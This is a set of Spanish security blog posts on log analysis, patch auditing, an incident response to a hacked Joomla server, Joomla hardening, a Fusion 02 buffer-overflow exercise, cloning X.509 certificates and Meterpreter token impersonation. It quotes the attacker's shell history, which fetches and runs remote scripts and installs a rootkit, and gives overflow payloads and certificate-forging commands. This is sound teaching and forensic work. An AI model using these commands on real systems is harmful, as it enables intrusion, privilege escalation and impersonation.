Security Art Work

Hoy vamos a hablar de una herramienta gratuita que puede servirnos de alternativa al conocido Splunk para realizar análisis de logs de forma rápida y sencilla.

Logstash es una aplicación de Java que podemos lanzar en cualquier equipo con una versión actual de Java, y que gracias al servidor de búsqueda ElasticSearch que incorpora, puede ampliarse y desplegarse en infraestructuras complejas con múltiples nodos trabajando en paralelo.

Para mostrar su funcionamiento no necesitamos hacer un despliegue tan complejo, y vamos a aprovechar la funcionalidad autocontenida en el paquete descargable, para analizar un conjunto de ficheros de Apache en busca de patrones sospechosos.

[Read more…]

Si los mecanismos de seguridad son complejos de usar, pierden su efectividad, ya que nadie los usará. Si se fuerza su uso, se intentarán otros canales para conseguir la misma funcionalidad.

La ciberseguridad ha sido, desde sus comienzos, una auténtica carrera armamentística. Si la entendemos como la protección de la información que una organización mantiene, tanto en su custodia como durante su transmisión, podemos incluir desde los primeros intentos de ocultar mensajes secretos a ojos de los no autorizados, cifrándolos u ocultándolos, hasta los mecanismos de los gobiernos para espiar las transmisiones de los enemigos, tanto en la guerra como en la paz.

Así, siempre que un cerebro humano ha pensado en una forma de proteger una información, otro cerebro igualmente inteligente, ha sido capaz de encontrar el medio de saltarse la protección. Al final, se trata de una cuestión de economía, como casi todo. ¿Vale la información que se puede robar el esfuerzo necesario para romper los mecanismos que la protegen? Este hecho económico básico es, a veces, intuitivamente engañoso. Muchas personas piensan que su información tiene poco valor (cosa en la que, normalmente, aciertan) y que, dado que la protección utilizada requiere un esfuerzo no trivial para romperla, están a salvo del acceso no autorizado.

Pues bien, probablemente, no valga la pena hacer el esfuerzo para romper el mecanismo que protege esa información, pero, como resulta que el mismo mecanismo (relativamente débil) es utilizado por muchas personas, el coste unitario se reduce a niveles risibles y, por poco que sea el provecho obtenido, el rendimiento obtenido es alto.

Así pues, ¿debemos usar mecanismos más complejos? Sin duda, si nos importa algo la información protegida. Ahora bien, si estos mecanismos no se hacen más fáciles de usar, pueden pasar dos cosas:

Una: que no se utilicen, con el consiguiente riesgo que, seguro, acabará materializándose y reducirá fuertemente la confianza en las transacciones en la red.

Dos: que, al ser incómodo, sólo se usen para casos muy especiales, con lo que disminuye drásticamente la funcionalidad de Internet, reduciéndolo casi a un sistema de consulta de información y compartición de información banal.

En resumen, si queremos que Internet permita un amplio conjunto de funcionalidades y transacciones, de manera segura, que realmente facilite nuestra vida, tenemos que diseñar mecanismos de protección tan usables como eficaces.

Es preciso acabar con la creencia de que la seguridad está reñida con la funcionalidad.

En ocasiones, en el transcurso del análisis forense de un sistema Windows, puede resultarnos de utilidad conocer el nivel de parcheado del equipo que estamos analizando. En la presente entrada veremos cómo llevar a cabo esta tarea con ayuda de la herramienta Microsoft Baseline Security Analyzer (MBSA).

Cabe aclarar que esta herramienta se aplica sobre sistemas en ejecución (“en vivo”), y no sobre imágenes offline del sistema de ficheros, por lo que en primer lugar será necesario levantar una copia de la máquina objeto del análisis forense. A tal efecto podemos utilizar herramientas como Live View (que nos permitiría desplegar una imagen del disco duro de la máquina obtenida, por ejemplo, con el comando dd, en forma de máquina virtual) o Clonezilla (con la que podríamos obtener una imagen del disco duro del equipo analizado, que luego podríamos desplegar en una máquina virtual u otra máquina física), entre muchas otras opciones.

En lo que sigue, asumiremos que ya tenemos lista y en ejecución esta copia del equipo a analizar. Puesto que el supuesto de partida es que estamos llevando a cabo un análisis forense, asumiremos que tampoco podemos conectar esta copia del equipo a Internet, de modo que utilizaremos el programa MBSA de una forma completamente offline.

Podemos descargar MBSA, en su versión 2.3, a través del siguiente enlace:

http://www.microsoft.com/en-us/download/details.aspx?id=7558

El programa no requiere ningún componente extra (como .NET) y se instala a través del típico asistente, sin mayores complicaciones:

Tras iniciar el programa, llevaremos a cabo un primer escaneo de prueba sobre el equipo, a través de la opción “Scan a computer”:

El objetivo de este primer análisis, que no podrá completarse correctamente, es que MBSA genere los directorios donde almacena la caché con el catálogo de actualizaciones de Windows. Para la versión 2.3, este directorio es "Configuración local \ Datos de programa \ Microsoft \ MBSA \ Cache" (a partir del perfil del usuario administrador con el que estemos ejecutando la herramienta) y, puesto que vamos a llevar a cabo todo el proceso con la máquina que estamos analizando desconectada de Internet, será necesario descargar el catálogo de Windows Update (Microsoft lo denomina “archivo de examen sin conexión”) desde otra máquina y copiarlo a la anterior ruta.

Podemos descargar este archivo (su nombre es wsusscn2.cab) a través del siguiente enlace:

http://go.microsoft.com/fwlink/?LinkId=76054

A continuación, lo copiamos en el directorio caché de MBSA:

En sistemas realmente desactualizados, podría suceder que la versión del agente de Windows Update sea tan vieja que MBSA no pueda llevar a cabo el análisis. En este caso, el programa presenta el siguiente mensaje de error: “Computer has an older version of the client and security database demands a newer versión. Current version is and minimum required version is…”, tal como puede observarse en la siguiente captura:

Si la máquina estuviera conectada a Internet, el propio MBSA actualizaría el agente de Windows Update, pero en nuestro caso deberemos descargar el instalador desde otra máquina e instalarlo en el equipo sobre el que estamos llevando a cabo el análisis forense. Microsoft documenta este procedimiento en el siguiente artículo:

http://technet.microsoft.com/en-us/library/bb932139.aspx

Para sistemas x86, podemos descargar el instalador desde la siguiente URL:

http://go.microsoft.com/fwlink/?LinkID=100334

De nuevo, la instalación se lleva a cabo vía asistente y no presenta mayores complicaciones:

Una vez contamos con una versión reciente del agente de Windows Update, ya podremos lanzar la herramienta contra el catálogo de actualizaciones que hemos descargado. Podemos marcar las opciones de escaneo de interés (en nuestro caso “Check for security updates”) y llevar a cabo el análisis:

Este sería el resumen de resultados para un equipo Windows XP SP3 “dejado caer”, sin ningún parche aplicado:

Mediante la opción “Result details” podemos obtener el detalle de los parches concretos que no han sido aplicados:

También podemos copiar los resultados del análisis en el portapapeles (opción “Copy to clipboard”) y guardarlo en un fichero de texto, que luego podremos utilizar para la confección del informe forense:

Por último, cabe señalar que el programa también cuenta con interfaz de línea de comandos, con la que podemos lanzar los análisis de forma automática con las opciones requeridas:

Esperamos que la entrada haya resultado de vuestro interés.

¿Cuál es la organización que más sabe sobre nuestra vida en la red? Sí, yo también pienso que es Google, por delante de nuestro gobierno, hacienda o nuestra propia familia. Si, además, somos usuarios de Google Apps, probablemente, la compañía del buscador tenga casi tanta información digital como nosotros mismos.

Pero la cosa no acaba ahí. Siempre es divertido elucubrar sobre la estrategia de dominación mundial de las grandes compañías multinacionales y me gustaría abrir la discusión sobre las posibles intenciones de Google, a la luz de sus últimas adquisiciones. Analicemos las tres últimas conocidas:

La primera, una empresa llamada Nest, dedicada a la fabricación de termostatos inteligentes – así se ha contado en la prensa – o, más precisamente, de dispositivos que permitan desarrollar la idea de la “casa conectada”, enchufando los sistemas de calefacción, iluminación, electrodomésticos, etc. a Internet para poder controlarlos y gestionarlos de manera más eficiente. Muy en la línea de la “Internet of Things”. En ese proceso, la compañía puede recoger mucha información acerca de los hábitos de consumo y comportamiento de los habitantes, por supuesto.

La segunda, Impermium Security, dedicada a proteger a sus clientes frente al robo y suplantación de identidades digitales, utilizando modelos estadísticos y de aprendizaje automático, para proporcionarles protección en tiempo real.

Por último, la más reciente, DeepMind Technologies, utiliza algoritmos de aprendizaje universal para aplicaciones como simulaciones, comercio electrónico y juegos. En sus propias palabras, la tecnología de DeepMind intenta conseguir que los ordenadores piensen como humanos y ha sido demostrada en demostraciones de ordenadores jugando videojuegos.

Lo curioso de este último caso es que, DeepMind, que estaba en tratos con Facebook, ha acabado decantándose por Google, incorporando una curiosa condición a su acuerdo: la creación de un comité de ética que “definirá reglas para indicar cómo Google podrá y no podrá hacer uso de esta tecnología”.

Es decir, que Google quiere tener más información sobre mi comportamiento en casa, conocer más sobre el robo y la suplantación de identidades y está interesado en técnicas de AI que hacen que las máquinas puedan pensar y comportarse como personas.

Y, además, se ve en la necesidad de establecer un comité de ética para vigilar el uso que le da a esta tecnología.

Inquietante.

Quería compartir un ataque sufrido a un servidor dedicado que una organización con la cual colaboraba tenía contratado en una empresa de hosting bastante conocida. Cuando fuimos conscientes del ataque, el atacante ya había obtenido acceso al sistema y había editado los ficheros /etc/passwd, /etc/groups, /etc/shadow y /etc/gshadow modificando las claves de acceso por ssh y creando usuarios propios para acceder al equipo. Por tanto no disponíamos de acceso al servidor.

En el OSSEC (un HIDS) veíamos intentos de acceso al servidor por SSH desde una IP de Indonesia. Y nos alertaba de tener instalada una Rootkit.

2013 Nov 09 21:59:19 Rule Id: 510 level: 7
Location: servidor->rootcheck
Src IP: 'shv5' detected by the presence of file '/lib/libsh.so'.
Host-based anomaly detection event (rootcheck). ** Alert 1384030759.1314571: mail -
ossec,rootcheck,
2013 Nov 09 21:59:19 servidor->rootcheck
Rule: 510 (level 7) -> 'Host-based anomaly detection event (rootcheck).'
Rootkit 'shv5' detected by the presence of file '/usr/lib/libsh'.

Para recuperar el acceso al servidor (ya que nos habían modificado la clave) hicimos uso de las claves pública/privada que teníamos en el servidor y que utilizábamos entre otras cosas para las copias de seguridad a una NAS en remoto. Gracias a esto conseguimos reemplazar de nuevo los ficheros modificados para acceder al servidor. Una vez conseguimos acceder al servidor teníamos que comprobar los ficheros afectados y modificados, y la forma por la que habían accedido. Lanzamos el comando history en la consola para que nos diese alguna pista de los comandos ejecutados a través del Shell, y este fue el resultado:

473 id
474 wget kropak.com/es.txt
475 perl es.txt
476 cd /tmp
477 rm -rf a
478 ls
479 wget kropak.com/sshroot.tar.gz
480 tar -zxvf sshroot.tar.gz;rm -rf sshroot.tar.gz
481 cd sshroot
482 chmod +x *
483 ./configure --prefix=/usr/local/sshd/
484 cd ..
485 rm -rf sshroot
486 wget kropak.com/shv5.tar.gz
487 tar -zxvf shv5.tar.gz;rm -rf shv5.tar.gz
488 cd shv5
489 ./setup 201 201
490 cd /tmp
491 service iptables stop
492 /sbin/ifconfig | grep inet | wc -l
493 cat /etc/ssh/sshd_config
494 adduser tagar
495 passwd Tagar
496 passwd tagar
497 chmod 777 /etc/passwd
498 id tagar
499 passwd
500 id tagar

Esto confirmaba la alerta del OSSEC. Como vemos pudieron hacer a sus anchas lo que quisieron. Instalaron un rootkit shv5 y se crearon usuarios de acceso al servidor (tagar).

Además de eso, modificaron los paquetes de comandos como el lsof, ifconfig, md5sum, find, pstree… limitando algunas funciones, de lo cual nos alertó el rkhunter como mostramos en el ejemplo siguiente.

[01:02:05] /usr/bin/pstree [ Warning ]
[01:02:05] Warning: Package manager verification has failed:
[01:02:05] File: /usr/bin/pstree
[01:02:05] The file hash value has changed
[01:02:05] The file owner has changed
[01:02:05] The file group has changed
[01:02:05] The file size has changed 

En el mismo log del rkhunter aparecieron muchos mensajes de información. Entre otros, este que nos da importante información.

[01:04:00] Checking for TCP port 6667 [ Warning ]
httpdocs/administrator/templates/.logged/psybnc. Possible rootkit: Possible rogue IRC bot
Use the 'lsof -i' or 'netstat -an' command to check this.

Localizamos el fichero psybnc en un dominio donde teníamos instalado una versión de Joomla! vulnerable (versión 1.5) y es donde habían instalado un IRC (Internet Relay Chat) y nos utilizaban como servidor IRCd.

En el directorio /administrator/templates aparecía el .logged y directorios de Unreal3.2 (IRC), shv5, y otros ficheros infectados y que habían sido descargados por el atacante.

Revisando el log del dominio infectado vimos la forma por la que accedieron al servidor:

IP_Atacante - - [16/Oct/2013:05:52:55 +0200] "POST
/index.php%3foption=com_content%26view=article%26id
=280%3agf-febrero-
2013%26catid=20%3avitoria%26Itemid=73/index.php?
option=com_jce&task=plugin&plugin=imgman
ager&file=imgmanager&version=1576&cid=20 HTTP/1.1" 404 549 "-"
"BOT/0.1 (BOT for JCE)"

Como se puede ver es a raíz del complemento JCE que es un editor de mensajes que se ha conocido que es vulnerable [4] [5] [6] y que hay pruebas de concepto sobre la explotación de dicha vulnerabilidad.

Hasta aquí un poco el análisis a grandes rasgos del ataque. Una vez conocida la vulnerabilidad explotada y la utilización que se estaba realizando del equipo empieza la tarea para limpiar y solucionar el problema. En primer lugar procedimos a eliminar el atributo inmutable de los ficheros que el atacante había modificado para limitar nuestra acción:

[root@servidor ~]# chattr -sia /bin/ls
[root@servidor ~]# chattr -sia /bin/ps
[root@servidor ~]# chattr -sia /bin/netstat
[root@servidor ~]# chattr -sia /usr/bin/dir
[root@servidor ~]# hattr -sia /usr/bin/find
[root@servidor ~]# chattr -sia /usr/bin/find
[root@servidor ~]# chattr -sia /sbin/ifconfig
[root@servidor ~]# chattr -sia /usr/sbin/lsof
[root@servidor ~]# chattr -sia /usr/bin/md5sum
[root@servidor ~]# chattr -sia /usr/bin/pstree
[root@servidor ~]# chattr -sia /usr/bin/top
[root@servidor ~]# chattr -sia /lib/libsh.so
[root@servidor ~]# chattr -sia /usr/lib/libsh
[root@servidor ~]# chattr -sia /usr/lib/libsh/*
[root@servidor ~]# chattr -sia /etc/sh.conf
[root@servidor ~]# chattr -sia /sbin/ttymon
[root@servidor ~]# chattr -sia /sbin/ttyload

También modificaron el /etc/inittab por lo que lo reemplazamos con uno limpio de copias de seguridad anteriores.

Eliminamos los ficheros modificados en el sistema y posteriormente los instalamos de nuevo:

[root@servidor ~]# rm -rf /lib/libsh.so
[root@servidor ~]# rm -rf /usr/lib/libsh/
[root@servidor ~]# rm -rf /etc/sh.conf
[root@servidor ~]# rm -rf /sbin/ttyload
[root@servidor ~]# rm -rf /sbin/ttymon

[root@servidor ~]# rm -rf /lib/libsh.so
[root@servidor ~]# rm -rf /usr/lib/libsh/
[root@servidor ~]# rm -rf /etc/sh.conf
[root@servidor ~]# rm -rf /sbin/ttyload
[root@servidor ~]# rm -rf /sbin/ttymon
[root@servidor ~]# yum -y reinstall coreutils binutils 
     net-tools psmisc lsof procps findutils >>/dev/null

Además borramos también cualquier rastro de los ficheros del shv4 y shv5. Eliminamos el proceso en marcha que tenían en el IRC y el Unreal. Además eliminamos del fichero known-hosts la IP del atacante y la añadimos en el firewall para que bloquease toda conexión de esa IP. Además, dado que en el servidor no se utilizaba perl, bloqueamos los accesos con el user-agent libwww-perl.

A modo de resumen el procedimiento del ataque ha sido el siguiente:

• A raíz de una vulnerabilidad de Joomla! Content Editor y el plugin imgmanager (por tenerlo desactualizado) utilizan un exploit en perl para escanear y ver la vulnerabilidad que consigue introducir ficheros en la carpeta de joomla vulnerable.
• Suben ficheros y usan la librería libwww-perl para estas conexiones.
• Instalar un software IRCd (Unreal).
• Con los ficheros que meten ejecutan un fichero perl que les da posibilidades de ejecutar tareas con los privilegios del usuario apache.
• Descargan dos ficheros sshroot.tar.gz y shv5.tar.gz y posteriormente instalan el rootkit para evitar ser detectados y conseguir privilegios de root en el servidor.

Después de esto solo cabe añadir que procedimos a revisar todo el servidor de nuevo, además de actualizar todas las versiones de Joomla! instaladas y revisar todos los plugins para comprobar que no eran vulnerables.

Estos son algunos de los pasos del análisis y de la solución que dimos ante este ataque. Evidentemente se tomaron más medidas y se analizaron muchas más cosas, pero a grandes rasgos este fue el caso que quería compartir.

Hace unos meses hablábamos [1] [2] de uno de los gestores de contenido o CMS (Content Management System) más utilizado y de la necesidad de tomar medidas para securizarlo. Como ya comentamos en ese artículo, los gestores de contenidos al ser utilizados por multitud de personas están en el punto de mira de los atacantes, y éstos se aprovechan de las vulnerabilidades de la herramienta y lanzan ataques contra las páginas que utilizan estos CMS. Por tanto es fundamental tomar medidas de prevención para no ser víctima de uno de estos ataques.

En aquel momento hablamos del CMS WordPress. En este post vamos a hablar de otro de los más populares: Joomla!.

Joomla permite desarrollar sitios web dinámicos e interactivos. Permite gestionar contenido en un sitio web de manera sencilla a través de un panel de Administración bastante completo, aunque en ocasiones poco intuitivo. Es un software de código abierto, desarrollado en PHP y liberado bajo licencia GPL. Uno de los mayores potenciales que tiene este CMS es que su funcionalidad es muy grande debido en parte a la multitud de extensiones que tiene disponible. A su vez estas extensiones, generalmente desarrolladas por terceros, pueden volverse en contra del administrador del sistema ya que pueden ser puertas traseras que permitan el acceso no deseado al servidor o a la página en cuestión.

El Instituto de Tecnologías de la Comunicación (INTECO) publicó hace pocos meses una guía sobre securización de Joomla!. En este post queremos destacar algunas de las medidas de esa guía, además de añadir alguna otra que no se refleja en la misma. Las medidas se centran en una correcta configuración, asignación de permisos y cambios en la estructura del CMS. Estas medidas son:

• En primer lugar es importante instalar la herramienta en un proveedor de confianza. Si es un servidor compartido debemos saber las medidas de seguridad que aplica el proveedor respecto a nuestro CMS, esto es, permisos en directorios, acceso al dominio, revisión de logs,…
• Mover el fichero configuration.php del directorio web accesible. En este fichero es donde se encuentra la información de acceso a la base de datos y de configuración propia del dominio. Cuanto menos accesible esté este fichero más difícil será que se realice un acceso no deseado sobre el mismo.
• No dejar los permisos de configuration.php fuera del directorio web accesible. En este fichero es donde se encuentra la información de acceso a la base de datos y de configuración propia del dominio. Cuanto menos accesible esté este fichero más difícil será que se realice un acceso no deseado sobre el mismo.
• No dejar los permisos de configuration.php en 777. Recomendable 644. Acostumbramos a poner los permisos 777 para instalar extensiones al Joomla! y no tener problemas pero después no se vuelve a cambiar y se dejan permisos que no se debería, lo que compromete el servidor. Según aparece en la documentación de Joomla! los permisos recomendados son 644 para los archivos y 755 para los directorios.
• No utilizar el nombre de usuario ‘admin’ para entrar al back-end. Si no se cambiase, ya se conocerían la mitad de las credenciales de acceso, y si la contraseña no fuese robusta con un ataque de fuerza bruta se podrían romper la contraseña de una forma fácil y obtener acceso al panel de administración.
• Cambiar el nombre de la carpeta Administrator. Esto requiere modificaciones en el núcleo del sistema cambiando las referencias hacia ese directorio tanto en BD como en los ficheros de las plantillas que apuntan a ese directorio. En cualquier caso este cambio es recomendable para que un usuario ilícito no pueda acceder de manera fácil al login del back-end y probar por fuerza bruta combinaciones de usuario-contraseña.
• Proteger el directorio administrator con contraseña (utilizando el .htaccess y el .htpasswd). Esta es una doble seguridad ya que por delante de las credenciales del back-end estaría la protección del directorio.
• Proteger el acceso a los ficheros .htaccess insertando el código siguiente en el mismo .htaccess, y pon los permisos a 644.

< Files .htaccess>
order allow,deny
deny from all
</Files>

• Cambiar el prefijo de la BBDD durante la instalación (a partir de la versión 2.x ya lo genera aleatoriamente). Por defecto el prefijo de las versiones anteriores a la 2.5 era jos_ lo que provocaba que los atacantes conociesen los nombres de las tablas de la base de datos pues el resto del nombre es igual en todas las instalaciones.
• Mantener el sitio actualizado. Las versiones con soporte actualmente son la 2.5, 3.0, 3.1, 3.2. La versión 2.5 es una versión LTS (Long Team Support) por lo que actualmente es la que más tiempo tendrá soporte. A mediados del de este año está previsto el lanzamiento de la versión 3.5 que será LTS y tendrá soporte hasta 2016.
• Comprobar las extensiones que se instalan y buscar referencias para conocer si tienen vulnerabilidades conocidas o si son extensiones reconocidas por Joomla! [1] [2]. Las extensiones aumentan la funcionalidad del CMS pero pueden llegar a ser una puerta de entrada al portal si son vulnerables. Además, éstas deben ser actualizadas y sólo ser utilizadas si son estables y tienen soporte.

En la página de documentación oficial de Joomla! podemos encontrar más información: checklist de seguridad en la instalación de Joomla!, las preguntas frecuentes sobre la seguridad y rendimiento, y las 10 “cosas más estúpidas” que puede hacer un administrador de Joomla!. Con todos estos recursos podremos proteger nuestro portal y evitar de esta forma así ataques a la página y al servidor.

Siguiendo con los ejercicios de exploiting con los que empezamos en un post anterior, hoy vamos a pegarnos con uno de la máquina virtual Fusion, concretamente nos enfrentaremos al ejercicio Fusion 02. La resolución de este ejercicio la he dividido en dos partes (dos entradas en el blog), en esta primera parte tenemos como objetivo controlar el registro EIP y dejaremos para la segunda parte explotar la vulnerabilidad. Esta entrada toma como guía para su resolución la entrada del blog de kroosec . Aunque intenta ofrecer algunos detalles más, que pueda hacer más fácil entender el ejercicio.

Para la resolución de este ejercicio vamos a ir respondiendo a preguntas que me he ido haciendo, y que al darles respuesta nos permiten ir dando un paso más en la comprensión del ejercicio y de la vulnerabilidad.

1. ¿Cómo funciona exactamente la función _read()?

Tras ejecutar el programa varias veces, con debugger y sin debugger uno ve que es importante entender como funciona exactamente la función nread y por lo tanto la función _read. Buscando un poco vemos que el prototipo de la función es:

ssize_t read(int fs, void *buf, size_t N);

Lo que hace exactamente esta función es leer n datos desde donde apunta el descriptor de fichero y lo almacena donde apunta la variable *buf. En el código del ejercicio vemos como el descriptor de fichero (fs) vale 0. Esto significa que está leyendo de stdin (entrada estándar). Ya tenemos claro lo que la función _read hace y ésta es invocada desde nread(). Solo mirando el prototipo está claro que uno ya podía intuir lo que hacía, pero de todos modos es necesario no presuponer nada y asegurarse de que funciona como parece.

2. ¿Cómo realizar una ejecución normal del programa y qué hace?

Es necesario saber cómo ejecutar el programa de manera normal, cómo debe funcionar y cuál debe ser su salida. El programa lo que hace es cifrar texto que se le introduce cuando nos conectamos al puerto 20002. Para cifrar una cadena tenemos que introducir primero el carácter ‘E’ en mayúsculas, seguido del tamaño del texto que vamos a introducir, el texto que queremos cifrar y una Q en mayúsculas para finalizar la ejecución.

Como ejemplo vamos a cifrar 100 A’s, mediante la siguiente instrucción:

fusion@fusion:~$ python -c 'print "E"+"\x64\x00\x00\x00"+100*"A"+"Q"' | nc localhost 
      20002
[-- Enterprise configuration file encryption service --]
[-- encryption complete. please mention 474bd3ad-c65b-47ab-b041-602047ab8792 to support 
      staff to retrieve your file --]
fusion@fusion:~$ 

Este es el resultado de una ejecución normal del programa y vemos como hemos llegado a la parte del programa donde se cifra viendo el mensaje que nos ha devuelto por pantalla.

3. ¿Dónde está la vulnerabilidad?

Entendido el código tras varias ejecuciones, tenemos que localizar donde se encuentra la vulnerabilidad y nos fijamos en la siguientes dos líneas de código:

nread(0, &sz, sizeof(sz));
nread(0, buffer, sz);

La vulnerabilidad radica en que en la segunda llamada a nread se utiliza la variable sz para definir la cantidad de datos a leer del usuario y esta variable ha sido fijada en la primera llamada a nread, que también está controlada por el usuario.

Una vez ya hemos introducido el carácter “E” en mayúscula el flujo del programa entrará en la zona de código destinada a cifrar. La primera llamada a nread() lee 4 bytes de la entrada estándar y lo almacena en el argumento sz (recordemos, introducidos por el usuario). Después en la segunda llamada se leen sz bytes y se almacenan en la variable buffer que tiene un tamaño de 32 * 4096 bytes = 131072 bytes. Como es obvio si los cuatro bytes primeros indican un tamaño superior a 131072 bytes y el usuario en la segunda llamada introduce la cantidad de bytes esperados (número superior a 131072), se producirá un buffer overflow en la pila.

4. ¿Cómo provocar el buffer overflow?

Para obtener el tamaño exacto que nos permita provocar el buffer overflow en la pila necesitaremos restar a la dirección de EBP la dirección donde se inicia el buffer.

(gdb) p &buffer
$6 = (unsigned char (*)[131072]) 0xbfd0ad2c
(gdb) p $ebp 
$7 = (void *) 0xbfd2ad38

>>> 0xbfd2ad38 - 0xbfd0ad2c
131084L

>>> hex(131084)
'0x0002000c'

Por tanto una ejecución normal que llenará todo el buffer sin desbordarlo será:

fusion@fusion:~$ python -c 'print "E"+"\x0c\x00\x02\x00"+131084*"A"+"Q"' | nc localhost
      20002
…..
0xb772b424 in __kernel_vsyscall ()
(gdb) set follow-fork-mode child
(gdb) c
Continuing.
[New process 25433]
[Inferior 2 (process 25433) exited with code 0121]
……

Vemos como la salida del programa es controlada. Ahora para producir un overflow le sumaremos 4 al valor anterior, dando como resultado: 0x00020010

fusion@fusion:~$ python -c ‘print “E”+”\x10\x00\x02\x00”+131084*”A”+4*”B”+Q | nc 
      localhost 20002

(gdb) c
Continuing.
[New process 25463]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 25463]
main (argc=Cannot access memory at address 0xbd35d263
) at level02/level02.c:74
74	level02/level02.c: No such file or directory.
	in level02/level02.c

Vemos como se ha producido en esta ocasión un segmentation fault, por lo que ya tenemos controlado el tamaño. Como bien nos advierten desde kroosec en su blog cuando retornamos de la función encrypt_file() (poniendo un breakpoint en la línea 49) vemos que en EBP están los inyectados (41’s – A’s y 42’s – B’s), como se muestra en la siguiente captura de la memoria:

En cambio cuando retornamos de la función cipher() ésta ha modificado estos valores que controlamos por lo que hemos perdido el control y para poder seguir teniéndolo después de que se ejecute la función cipher() los datos que inyectamos tendrán que estar alineados con la función de cifrado. Vamos, que lo que nos interesa es que si inyectamos A’s y B’s cuando volvamos de la función cipher() EIP se sobrescriba con las A’s y B’s que hemos inyectado.

5. ¿Cómo funciona la función cipher()?

Descripción simple de algunas variables importantes de la función:

• blah: Variable donde está el contenido a cifrar.
• len: Tamaño de los datos a cifrar.
• keybuf[32]: clave de 1024 bits. Son 32 elementos de 4 bytes, lo que son 128 bytes. Podemos ver un ejemplo del contenido a continuación:

• blocks: Para calcular el número de bloques divide por 4 el número el tamaño en bytes. Con cada XOR se hacen 4 bytes de blahi con un elemento de la clave que tiene un tamaño de 4 bytes.

El bucle va realizando la función XOR entre los elementos de la clave y el texto que queremos cifrar. A continuación tenemos un ejemplo de una iteración del bucle for:

La captura anterior muestra la ejecución del bucle for cuando j=0. Si se examina la dirección donde apunta blahi (0xbfba22dc) se ve como el primer elemento ya no tiene el valor 0x41414141 y ha sido modificado. Para modificarlo se ha hecho un XOR así:

# Primer elemento de keybuf y el elemento primero de blahi tras aplicarle un XOR
>>> hex(0xf87adc59 ^ 0x41414141)
'0xb93b9d18L'

Por tanto si queremos que después de la función nos quede el valor 0x41414141 para demostrar que tenemos el control de EIP tendremos que poner el siguiente valor como entrada de datos:

>>> hex(0xf87adc59 ^ 0xb93b9d18L)
'0x41414141L'

6. ¿Cómo obtenemos la clave de cifrado y sobrescribimos EIP?

Llegados a este punto queda patente que debemos conocer la clave para poder cifrar los datos que queremos inyectar para obtener el resultado que queremos, pero ésta es aleatoria lo que supone un problema. Si revisamos el código vemos que existe una variable de nombre keyed que sirve para controlar que sólo en una primera ejecución se genere la clave y en las siguientes se utilice la generada, sería como una especie de caché. Es de ésto de lo que nos vamos a aprovechar y vamos a lanzar para cifrar dos fragmentos de texto. Con el primer fragmento obtendremos la clave y con el segundo sobrescribiremos EIP. En github (https://github.com/jholgui/exploiting/blob/master/fusion02.py) he dejado un script en python que hace estas dos ejecuciones de manera muy simple.

Resultado de ejecutar el script en python será:

Como vemos ya hemos sobrescrito EIP con un valor controlado por nosotros (BBBB) y con esto tenemos finalizada la primera parte. En la siguiente entrada explotaremos la vulnerabilidad.

En ocasiones, una aplicación web permite utilizar certificados X.509 como medio de autenticación. Estos certificados, asociados a una persona, pueden ser generados bien por una autoridad certificadora reconocida (FNMT, ACCV…), o de forma privada para uso interno de una organización. En cualquier caso, la aplicación web debería comprobar que el certificado que se presenta está firmado por la CA correspondiente. De esta forma, se está asegurando que la persona es quien dice ser. Para información más ampliada sobre infraestructuras PKI, podéis leer la estupenda serie de posts del compañero David Cutanda.

Ahora bien, es posible que el desarrollador de la aplicación no haya considerado necesario tomarse tanta molestia de comprobar firmas, y únicamente verifique que algún campo del certificado coincida con su base de datos, como el DNI, número de serie, etc. ¿Cómo podría un atacante aprovechar esa deficiencia? Generando un certificado con los mismos datos que un certificado válido, y rezando para que la aplicación no haga ninguna comprobación adicional, ya que la firma del certificado no coincide con la CA legítima.

Vamos al ajo. Supongamos que tenemos suficiente información sobre los certificados que se utilizan para la autenticación. Vamos a explicar los pasos para generar una CA con los mismos datos que la original, un certificado de un usuario, y después firmaremos ese certificado con la CA que hemos generado.

Crear clave privada RSA para la CA

$ openssl genrsa -out rootCA.key 2048

Crear CA

$ openssl req -x509 -new -nodes -key rootCA.key -days 3650 -out rootCA.pem 
-subj "/O=Wayne Corp./OU=WaynePKI/CN=Wayne-CA"

Crear clave privada RSA para certificado personal

$ openssl genrsa -out personal.key 1024

Crear certificado

$ openssl req -new -key personal.key -out personal.csr -subj "/O=Wayne 
Corp./OU=Direccion/CN=Bruce Wayne" 

Firmar el certificado con la CA

$ openssl x509 -req -in personal.csr -CA rootCA.pem -CAkey rootCA.key -
CAcreateserial -out personal.crt -days 500 -set_serial 0x5599aaffbb4422cc

Exportar el certificado a PKCS12

$ openssl pkcs12 -export -out personal.p12 -in personal.crt -certfile rootCA.pem -
inkey personal.key

Exportar a PKCS12 es recomendable para poder importar el certificado en algún navegador. Es importante también darse cuenta que a la hora de firmar el certificado, es posible hardcodear el número de serie que deseemos. Si disponemos de un certificado legítimo que queramos clonar, se puede crear con el mismo número de serie. No es la primera vez que veo que ese dato es el que comprueba la aplicación para autenticarse.

En el caso de este ejemplo sólo he cumplimentado la organización O, unidad organizativa OU y common name CN, pero por supuesto se puede rellenar todo lo necesario para que el certificado sea lo más parecido posible al original.

Con el fichero personal.p12 generado ya podemos importarlo a nuestros navegadores, perfiles de SoapUI para auditar un WebService con WS-security, o lo que necesitemos. Es posible que también se necesite importar la CA que hemos creado al navegador como entidad de confianza, para que no se queje el navegador de que no puede comprobar la autenticidad del certificado.

¡A jugar!

En el siguiente post vamos hacer un breve repaso a la escala de privilegios mediante el uso de “Incognito”. Después de las fiestas navideñas, y una vez comenzado este nuevo año, vamos a comenzar a repasar trucos y comandos publicados allá por el 2010, para así poder refrescar conocimientos y seguir investigando en la materia.

Según establece Offensive Security “La aplicación Incognito, se encuentra integrado en Mestasploit y en su instancia Meterpreter. Se puede encontrar más información acerca en el documento “Security Implications of Windows Access Tokens – A Penetration Tester’s Guide”. Incognito realiza el escalado de privilegios mediante la reproducción de la clave temporal cacheada en el sistema que es empleada cuando le solicita autenticación, permitiendo acceso al sistema.”

Con esto imaginemos ahora que nos encontramos realizando una auditoría lógica a la entidad ACME, y hemos obtenido acceso a un servidor Windows (a lo largo del post lo denominaremos “Gospi” para darle más realismo a nuestro entorno), disponiendo de una sesión abierta en dicha máquina mediante meterpreter.

Por tanto, una vez obtenida la máxima información posible ubicada en Gospi, ejecutamos Incognito mediante los comandos habituales de meterpreter “use incognito” (podemos ver los comandos permitidos mediante el comando “help”).

meterpreter > use incognito
Loading extension incognito...success.

Y procedemos a ver los tokens de los usuarios cacheados en Gospi mediante el comando “list_tokens –u”, obteniendo los usuarios.

Delegation Tokens Available
========================================
ACME\ Administrador
NT AUTHORITY\LOCAL SERVICE
